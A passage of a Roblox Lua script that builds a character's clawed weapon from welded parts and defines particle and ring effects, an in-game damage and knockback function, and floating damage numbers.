  2127. prt2.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2128. local msh2=mesh("SpecialMesh",prt2,"Sphere","",vt(0,0,0),vt(0,0,0))
  2129. game:GetService("Debris"):AddItem(prt2,2)
  2130. coroutine.resume(coroutine.create(function(Part,Mesh)
  2131. for i=0,1,0.1 do
  2132. wait()
  2133. Part.CFrame=Part.CFrame*cf(0,0.5,0)
  2134. end
  2135. Part.Parent=nil
  2136. end),prt2,msh2)
  2137. end
  2138. for i=0,1,delay*2 do
  2139. wait()
  2140. Part.CFrame=Part.CFrame
  2141. Mesh.Scale=vt((x1+x3)-(x1+x3)*i,(y1+y3)-(y1+y3)*i,(z1+z3)-(z1+z3)*i)
  2142. end
  2143. Part.Parent=nil
  2144. end),prt,msh)
  2145. end
  2146.  
  2147. function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2148. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0,0,0))
  2149. prt.Anchored=true
  2150. prt.CFrame=cframe
  2151. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2152. game:GetService("Debris"):AddItem(prt,2)
  2153. coroutine.resume(coroutine.create(function(Part,Mesh)
  2154. for i=0,1,delay do
  2155. wait()
  2156. Part.CFrame=Part.CFrame
  2157. Part.Transparency=i
  2158. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2159. end
  2160. Part.Parent=nil
  2161. end),prt,msh)
  2162. end
  2163.  
  2164. function MagicRing(brickcolor,cframe,x1,y1,z1,x2,y2,z2,x3,y3,z3)
  2165. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0,0,0))
  2166. prt.Anchored=true
  2167. prt.CFrame=cframe*euler(x2,y2,z2)
  2168. --"http://www.roblox.com/asset/?id=168892465"
  2169. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=3270017",vt(0,0,0),vt(x1,y1,z1))
  2170. game:GetService("Debris"):AddItem(prt,2)
  2171. coroutine.resume(coroutine.create(function(Part,Mesh)
  2172. for i=0,1,0.03 do
  2173. wait()
  2174. Part.CFrame=Part.CFrame
  2175. Part.Transparency=i
  2176. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2177. end
  2178. Part.Parent=nil
  2179. end),prt,msh)
  2180. end
  2181.  
  2182. function BreakEffect(brickcolor,cframe,x1,y1,z1)
  2183. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0,0,0))
  2184. prt.Anchored=true
  2185. prt.CFrame=cframe*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2186. local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1))
  2187. game:GetService("Debris"):AddItem(prt,2)
  2188. coroutine.resume(coroutine.create(function(Part,CF,Numbb,randnumb)
  2189. CF=Part.CFrame
  2190. Numbb=0
  2191. randnumb=math.random()/10
  2192. rand1=math.random()/10
  2193. for i=0,1,rand1 do
  2194. wait()
  2195. CF=CF*cf(0,math.random()/2,0)
  2196. --Part.CFrame=Part.CFrame*euler(0.5,0,0)*cf(0,1,0)
  2197. Part.CFrame=CF*euler(Numbb,0,0)
  2198. Part.Transparency=i
  2199. Numbb=Numbb+randnumb
  2200. end
  2201. Part.Parent=nil
  2202. end),prt,CF,Numbb,randnumb)
  2203. end
  2204.  
  2205. function MagicWaveThing(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2206. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0,0,0))
  2207. prt.Anchored=true
  2208. prt.CFrame=cframe
  2209. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=1051557",vt(0,0,0),vt(x1,y1,z1))
  2210. game:GetService("Debris"):AddItem(prt,5)
  2211. coroutine.resume(coroutine.create(function(Part,Mesh)
  2212. for i=0,1,delay do
  2213. wait()
  2214. Part.CFrame=Part.CFrame*euler(0,0.7,0)
  2215. Part.Transparency=i
  2216. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2217. end
  2218. Part.Parent=nil
  2219. end),prt,msh)
  2220. end
  2221.  
  2222. function WaveEffect(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2223. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2224. prt.Anchored=true
  2225. prt.CFrame=cframe
  2226. msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=39198719",vt(0,0,0),vt(x1,y1,z1))
  2227. game:GetService("Debris"):AddItem(prt,2)
  2228. coroutine.resume(coroutine.create(function(Part,Mesh)
  2229. for i=0,1,delay do
  2230. wait()
  2231. Part.CFrame=Part.CFrame*cf(0,y3/2,0)
  2232. Part.Transparency=i
  2233. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2234. end
  2235. Part.Parent=nil
  2236. end),prt,msh)
  2237. end
  2238.  
  2239. function StravEffect(brickcolor,cframe,x,y,z,x1,y1,z1,delay)
  2240. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0,0,0))
  2241. prt.Anchored=true
  2242. prt.CFrame=cframe*cf(x,y,z)
  2243. msh=mesh("SpecialMesh",prt,"FileMesh","rbxassetid://168892363",vt(0,0,0),vt(x1,y1,z1))
  2244. game:GetService("Debris"):AddItem(prt,5)
  2245. coroutine.resume(coroutine.create(function(Part,Mesh,ex,why,zee)
  2246. local num=math.random()
  2247. local num2=math.random(-3,2)+math.random()
  2248. local numm=0
  2249. for i=0,1,delay*2 do
  2250. swait()
  2251. Part.CFrame=cframe*euler(0,numm*num*10,0)*cf(ex,why,zee)*cf(-i*10,num2,0)
  2252. Part.Transparency=i
  2253. numm=numm+0.01
  2254. end
  2255. Part.Parent=nil
  2256. Mesh.Parent=nil
  2257. end),prt,msh,x,y,z)
  2258. end
  2259.  
  2260. Damagefunc=function(hit,minim,maxim,knockback,Type,Property,Delay,KnockbackType,decreaseblock)
  2261. if hit.Parent==nil then
  2262. return
  2263. end
  2264. h=hit.Parent:FindFirstChild("Humanoid")
  2265. for _,v in pairs(hit.Parent:children()) do
  2266. if v:IsA("Humanoid") then
  2267. h=v
  2268. end
  2269. end
  2270. if hit.Parent.Parent:FindFirstChild("Torso")~=nil then
  2271. h=hit.Parent.Parent:FindFirstChild("Humanoid")
  2272. end
  2273. if hit.Parent.className=="Hat" then
  2274. hit=hit.Parent.Parent:findFirstChild("Head")
  2275. end
  2276. if h~=nil and hit.Parent.Name~=Character.Name and hit.Parent:FindFirstChild("Torso")~=nil then
  2277. if hit.Parent:findFirstChild("DebounceHit")~=nil then if hit.Parent.DebounceHit.Value==true then return end end
  2278. --[[ if game.Players:GetPlayerFromCharacter(hit.Parent)~=nil then
  2279. return
  2280. end]]
  2281. -- hs(hit,1.2)
  2282. c=Instance.new("ObjectValue")
  2283. c.Name="creator"
  2284. c.Value=game:service("Players").LocalPlayer
  2285. c.Parent=h
  2286. game:GetService("Debris"):AddItem(c,.5)
  2287. Damage=math.random(minim,maxim)
  2288. -- h:TakeDamage(Damage)
  2289. blocked=false
  2290. block=hit.Parent:findFirstChild("Block")
  2291. if block~=nil then
  2292. print(block.className)
  2293. if block.className=="NumberValue" then
  2294. if block.Value>0 then
  2295. blocked=true
  2296. if decreaseblock==nil then
  2297. block.Value=block.Value-1
  2298. end
  2299. end
  2300. end
  2301. if block.className=="IntValue" then
  2302. if block.Value>0 then
  2303. blocked=true
  2304. if decreaseblock~=nil then
  2305. block.Value=block.Value-1
  2306. end
  2307. end
  2308. end
  2309. end
  2310. if blocked==false then
  2311. -- h:TakeDamage(Damage)
  2312. h.Health=h.Health-Damage
  2313. showDamage(hit.Parent,Damage,1.5,TorsoColor)
  2314. else
  2315. h.Health=h.Health-(Damage/12)
  2316. showDamage(hit.Parent,Damage/12,1.5,BrickColor.new("Bright red"))
  2317. end
  2318. if Type=="Knockdown" then
  2319. hum=hit.Parent.Humanoid
  2320. hum.PlatformStand=true
  2321. coroutine.resume(coroutine.create(function(HHumanoid)
  2322. swait(1)
  2323. HHumanoid.PlatformStand=false
  2324. end),hum)
  2325. local angle=(hit.Position-(Property.Position+Vector3.new(0,0,0))).unit
  2326. --hit.CFrame=CFrame.new(hit.Position,Vector3.new(angle.x,hit.Position.y,angle.z))*CFrame.fromEulerAnglesXYZ(math.pi/4,0,0)
  2327. local bodvol=Instance.new("BodyVelocity")
  2328. bodvol.velocity=angle*knockback
  2329. bodvol.P=5000
  2330. bodvol.maxForce=Vector3.new(8e+003, 8e+003, 8e+003)
  2331. bodvol.Parent=hit
  2332. rl=Instance.new("BodyAngularVelocity")
  2333. rl.P=3000
  2334. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2335. rl.angularvelocity=Vector3.new(math.random(-10,10),math.random(-10,10),math.random(-10,10))
  2336. rl.Parent=hit
  2337. game:GetService("Debris"):AddItem(bodvol,.5)
  2338. game:GetService("Debris"):AddItem(rl,.5)
  2339. elseif Type=="Normal" then
  2340. vp=Instance.new("BodyVelocity")
  2341. vp.P=500
  2342. vp.maxForce=Vector3.new(math.huge,0,math.huge)
  2343. -- vp.velocity=Character.Torso.CFrame.lookVector*Knockback
  2344. if KnockbackType==1 then
  2345. vp.velocity=Property.CFrame.lookVector*knockback+Property.Velocity/1.05
  2346. elseif KnockbackType==2 then
  2347. vp.velocity=Property.CFrame.lookVector*knockback
  2348. end
  2349. if knockback>0 then
  2350. vp.Parent=hit.Parent.Torso
  2351. end
  2352. game:GetService("Debris"):AddItem(vp,.5)
  2353. elseif Type=="Up" then
  2354. local bodyVelocity=Instance.new("BodyVelocity")
  2355. bodyVelocity.velocity=vt(0,10,0)
  2356. bodyVelocity.P=1000
  2357. bodyVelocity.maxForce=Vector3.new(1e+009, 1e+009, 1e+009)
  2358. bodyVelocity.Parent=hit
  2359. game:GetService("Debris"):AddItem(bodyVelocity,1)
  2360. rl=Instance.new("BodyAngularVelocity")
  2361. rl.P=3000
  2362. rl.maxTorque=Vector3.new(500000,500000,500000)*50000000000000
  2363. rl.angularvelocity=Vector3.new(math.random(-20,20),math.random(-20,20),math.random(-20,20))
  2364. rl.Parent=hit
  2365. game:GetService("Debris"):AddItem(rl,.5)
  2366. elseif Type=="Snare" then
  2367. bp=Instance.new("BodyPosition")
  2368. bp.P=2000
  2369. bp.D=100
  2370. bp.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2371. bp.position=hit.Parent.Torso.Position
  2372. bp.Parent=hit.Parent.Torso
  2373. game:GetService("Debris"):AddItem(bp,1)
  2374. elseif Type=="Target" then
  2375. if Targetting==false then
  2376. ZTarget=hit.Parent.Torso
  2377. coroutine.resume(coroutine.create(function(Part)
  2378. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2379. swait(5)
  2380. so("http://www.roblox.com/asset/?id=15666462",Part,1,1.5)
  2381. end),ZTarget)
  2382. TargHum=ZTarget.Parent:findFirstChild("Humanoid")
  2383. targetgui=Instance.new("BillboardGui")
  2384. targetgui.Parent=ZTarget
  2385. targetgui.Size=UDim2.new(10,100,10,100)
  2386. targ=Instance.new("ImageLabel")
  2387. targ.Parent=targetgui
  2388. targ.BackgroundTransparency=1
  2389. targ.Image="rbxassetid://4834067"
  2390. targ.Size=UDim2.new(1,0,1,0)
  2391. cam.CameraType="Scriptable"
  2392. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2393. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2394. workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2395. Targetting=true
  2396. RocketTarget=ZTarget
  2397. for i=1,Property do
  2398. --while Targetting==true and Humanoid.Health>0 and Character.Parent~=nil do
  2399. if Humanoid.Health>0 and Character.Parent~=nil and TargHum.Health>0 and TargHum.Parent~=nil and Targetting==true then
  2400. swait()
  2401. end
  2402. --workspace.CurrentCamera.CoordinateFrame=CFrame.new(Head.CFrame.p,Head.CFrame.p+rmdir*100)
  2403. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)
  2404. dir=Vector3.new(cam.CoordinateFrame.lookVector.x,0,cam.CoordinateFrame.lookVector.z)
  2405. cam.CoordinateFrame=CFrame.new(Head.CFrame.p,ZTarget.Position)*cf(0,5,10)*euler(-0.3,0,0)
  2406. end
  2407. Targetting=false
  2408. RocketTarget=nil
  2409. targetgui.Parent=nil
  2410. cam.CameraType="Custom"
  2411. end
  2412. end
  2413. debounce=Instance.new("BoolValue")
  2414. debounce.Name="DebounceHit"
  2415. debounce.Parent=hit.Parent
  2416. debounce.Value=true
  2417. game:GetService("Debris"):AddItem(debounce,Delay)
  2418. c=Instance.new("ObjectValue")
  2419. c.Name="creator"
  2420. c.Value=Player
  2421. c.Parent=h
  2422. game:GetService("Debris"):AddItem(c,.5)
  2423. CRIT=false
  2424. hitDeb=true
  2425. AttackPos=6
  2426. end
  2427. end
  2428.  
  2429. showDamage=function(Char,Dealt,du,Color)
  2430. m=Instance.new("Model")
  2431. m.Name=tostring(Dealt)
  2432. h=Instance.new("Humanoid")
  2433. h.Health=0
  2434. h.MaxHealth=0
  2435. h.Parent=m
  2436. c=Instance.new("Part")
  2437. c.Transparency=0
  2438. c.BrickColor=TorsoColor
  2439. c.Name="Head"
  2440. c.TopSurface=0
  2441. c.BottomSurface=0
  2442. c.formFactor="Plate"
  2443. c.Size=Vector3.new(1,.4,1)
  2444. ms=Instance.new("CylinderMesh")
  2445. ms.Scale=Vector3.new(.8,.8,.8)
  2446. so("http://www.roblox.com/asset/?id=199149269",c,1,1)
  2447. if CRIT==true then
  2448. ms.Scale=Vector3.new(1,1.25,1)
  2449. end
  2450. ms.Parent=c
  2451. c.Reflectance=0
  2452. Instance.new("BodyGyro").Parent=c
  2453. c.Parent=m
  2454. if Char:findFirstChild("Head")~=nil then
  2455. c.CFrame=CFrame.new(Char["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2456. elseif Char.Parent:findFirstChild("Head")~=nil then
  2457. c.CFrame=CFrame.new(Char.Parent["Head"].CFrame.p+Vector3.new(0,1.5,0))
  2458. end
  2459. f=Instance.new("BodyPosition")
  2460. f.P=2000
  2461. f.D=100
  2462. f.maxForce=Vector3.new(math.huge,math.huge,math.huge)
  2463. f.position=c.Position+Vector3.new(0,3,0)
  2464. f.Parent=c
  2465. game:GetService("Debris"):AddItem(m,.5+du)
  2466. c.CanCollide=false
  2467. m.Parent=workspace
  2468. c.CanCollide=false
  2469. end
  2470.  
  2471. Player=game:GetService('Players').LocalPlayer
  2472. Character=Player.Character
  2473. Mouse=Player:GetMouse()
  2474. m=Instance.new('Model',Character)
  2475.  
  2476.  
  2477. local function weldBetween(a, b)
  2478. local weldd = Instance.new("ManualWeld")
  2479. weldd.Part0 = a
  2480. weldd.Part1 = b
  2481. weldd.C0 = CFrame.new()
  2482. weldd.C1 = b.CFrame:inverse() * a.CFrame
  2483. weldd.Parent = a
  2484. return weldd
  2485. end
  2486.  
  2487. it=Instance.new
  2488.  
  2489. function nooutline(part)
  2490. part.TopSurface,part.BottomSurface,part.LeftSurface,part.RightSurface,part.FrontSurface,part.BackSurface = 10,10,10,10,10,10
  2491. end
  2492.  
  2493. function part(formfactor,parent,material,reflectance,transparency,brickcolor,name,size)
  2494. local fp=it("Part")
  2495. fp.formFactor=formfactor
  2496. fp.Parent=parent
  2497. fp.Reflectance=reflectance
  2498. fp.Transparency=transparency
  2499. fp.CanCollide=false
  2500. fp.Locked=true
  2501. fp.BrickColor=BrickColor.new(tostring(brickcolor))
  2502. fp.Name=name
  2503. fp.Size=size
  2504. fp.Position=Character.Torso.Position
  2505. nooutline(fp)
  2506. fp.Material=material
  2507. fp:BreakJoints()
  2508. return fp
  2509. end
  2510.  
  2511. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  2512. local mesh=it(Mesh)
  2513. mesh.Parent=part
  2514. if Mesh=="SpecialMesh" then
  2515. mesh.MeshType=meshtype
  2516. mesh.MeshId=meshid
  2517. end
  2518. mesh.Offset=offset
  2519. mesh.Scale=scale
  2520. return mesh
  2521. end
  2522.  
  2523. function weld(parent,part0,part1,c0,c1)
  2524. local weld=it("Weld")
  2525. weld.Parent=parent
  2526. weld.Part0=part0
  2527. weld.Part1=part1
  2528. weld.C0=c0
  2529. weld.C1=c1
  2530. return weld
  2531. end
  2532.  
  2533. local modelzorz=Instance.new("Model")
  2534. modelzorz.Parent=Character
  2535. modelzorz.Name="Claw1"
  2536.  
  2537. Handle=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2538. Handleweld=weld(m,Character["Torso"],Handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-6.74455023, 0.843135834, 3.31332064, 0.866820872, 0.000393055088, -0.498619556, 0.129048944, -0.966104209, 0.223582461, -0.481630623, -0.258152217, -0.837489963))
  2539. mesh("SpecialMesh",Handle,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2540. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2541. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.89693689, 0.0205960274, 1.83752108, 0.00084605813, 0.865680099, -0.500597, -0.999998748, 2.925843e-005, -0.00163948536, -0.00140464306, 0.500597715, 0.865678906))
  2542. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2543. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0205993652, 3.97038841, -4.62090921, -0.999998689, 2.810359e-005, -0.00163501501, 0.00158691406, 0.25815019, -0.966103554, 0.0003949448, -0.966104805, -0.258149862))
  2544. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2545. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2546. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.18639517, -0.292996764, 3.91572571, -0.407002717, 0.123095758, -0.905094743, -0.483149111, -0.869928718, 0.098949343, -0.775187671, 0.477568328, 0.413536996))
  2547. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2548. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.62196398, -0.29297936, 1.11572647, -0.835932732, 0.424737811, -0.347583354, -0.483153641, -0.869926155, 0.0989501327, -0.260344028, 0.250651836, 0.932413459))
  2549. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2550. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.55920649, -0.210347176, 1.642519, -0.865201712, -0.000320911407, -0.501423895, -2.98991799e-005, -0.999999881, 0.000691637397, -0.501424074, 0.000613339245, 0.865201592))
  2551. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2552. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.931638, -0.0751047134, 4.50077248, -0.352038473, 0.176153034, -0.919260144, -0.86644727, -0.432817101, 0.248874903, -0.354031444, 0.884103954, 0.304995537))
  2553. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2554. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.34771347, -0.763819337, 1.31078529, 0.484322906, -0.259408951, -0.835546851, 0.129806682, 0.965767562, -0.224595979, 0.865206063, 0.000317394733, 0.501416266))
  2555. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2556. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.85524988, -0.0749192238, 1.7092638, -0.499263257, 0.749717236, -0.434350491, -0.866449237, -0.432811975, 0.248876765, -0.00140497088, 0.500597596, 0.865678906))
  2557. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2558. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.76954031, -0.210381031, 4.2438035, -0.257231236, -0.00066010654, -0.966349661, -3.04505229e-005, -0.999999762, 0.000691249967, -0.966350019, 0.000207226723, 0.257231265))
  2559. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2560. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.87043977, 0.020611763, 4.62094831, 0.00159165263, 0.258152187, -0.966103137, -0.999998748, 2.89455056e-005, -0.00163969398, -0.000395349402, 0.966104329, 0.258151829))
  2561. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2562. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.292981744, 4.28636312, -3.9157095, -0.48314926, -0.869928479, 0.0989517197, -0.407004297, 0.123094313, -0.905094087, 0.775186777, -0.477569282, -0.413537562))
  2563. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2564. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2565. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.85442352, -0.763632059, 3.85966015, -0.269319534, -0.183654502, -0.945377231, 0.129806384, 0.96576786, -0.22459501, 0.954262853, -0.183203816, -0.236260682))
  2566. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2567. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0751276016, 4.03159618, -4.50067854, -0.866445661, -0.432817698, 0.248879611, -0.352042913, 0.176151246, -0.919258773, 0.354030937, -0.884103894, -0.304995805))
  2568. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2569. Gear=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(4.29999971, 4.30000019, 1))
  2570. Gearweld=weld(m,Handle,Gear,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.0552597046, -0.0398271084, -0.0363032818, 0.999988854, -3.23429704e-005, 0.00164097548, 3.37436795e-005, 0.999994695, -0.000689953566, -0.00164103508, 0.000689953566, 0.999993086))
  2571. mesh("SpecialMesh",Gear,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15))
  2572. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2573. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.210398674, 3.86948943, -4.24380398, -3.15159559e-005, -0.999999881, 0.00069090724, -0.257231474, -0.000659480691, -0.966349721, 0.966349959, -0.000208158046, -0.257231474))
  2574. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2575. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2576. Partweld=weld(m,Handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.763661504, 3.95439076, 3.85964441, -0.129806131, -0.965767682, 0.224596098, -0.269319892, -0.1836555, -0.945376873, 0.954262733, -0.183203891, -0.236260891))
  2577. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2578.  
  2579. local modelzorz2=Instance.new("Model")
  2580. modelzorz2.Parent=Character
  2581. modelzorz2.Name="Claw2"
  2582.  
  2583. Handle2=part(Enum.FormFactor.Custom,m,Enum.Material.Neon,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1))
  2584. Handle2weld=weld(m,Character["Torso"],Handle2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(6.65693045, 1.66835713, 2.9684639, 0.866025746, 0.129405379, 0.482963592, -3.67555799e-006, -0.965926409, 0.258817136, 0.499999553, -0.224144042, -0.836516559))
  2585. mesh("SpecialMesh",Handle2,Enum.MeshType.Sphere,"",Vector3.new(0, 0, 0),Vector3.new(1, 1, 1))
  2586. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2587. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.66774845, 0.445008755, 1.50737095, 0.749997497, 0.500002265, -0.433014721, -0.433012635, 0.866024196, 0.250004709, 0.500004232, -2.02655792e-006, 0.866023183))
  2588. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2589. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.70916891, 0.288796425, 1.12511444, 0.424947768, 0.836517453, -0.34591651, -0.870010257, 0.482961774, 0.0991482884, 0.250003695, 0.25881803, 0.933012009))
  2590. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2591. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.24143982, 0.288818121, 3.98402214, 0.123706907, 0.408494055, -0.904339194, -0.870007515, 0.482966691, 0.0991476029, 0.477266878, 0.774516642, 0.415139139))
  2592. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2593. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.288883209, 4.34139919, -3.98407936, -0.870006502, 0.482969046, 0.099145025, 0.123710275, 0.408492953, -0.904339135, -0.477267861, -0.774515808, -0.415139765))
  2594. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2595. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
  2596. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.377311707, 3.81443644, -4.17874861, 1.43051147e-006, 1.00000012, 5.58793545e-006, 0.258813858, 5.02169132e-006, -0.965927303, -0.965927362, 2.82377005e-006, -0.258813858))
  2597. mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 2.92400002, 1.18400002))
  2598. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,"Really black","Part",Vector3.new(2.20000005, 1, 1))
  2599. Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(3.11095357, 0.452475548, 3.33581829, 0.214266971, -0.258726388, -0.941886604, 0.124996454, -0.949091196, 0.289140463, -0.968744338, -0.179685742, -0.171018958))
  2600. Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(1, 0.400000006, 1))
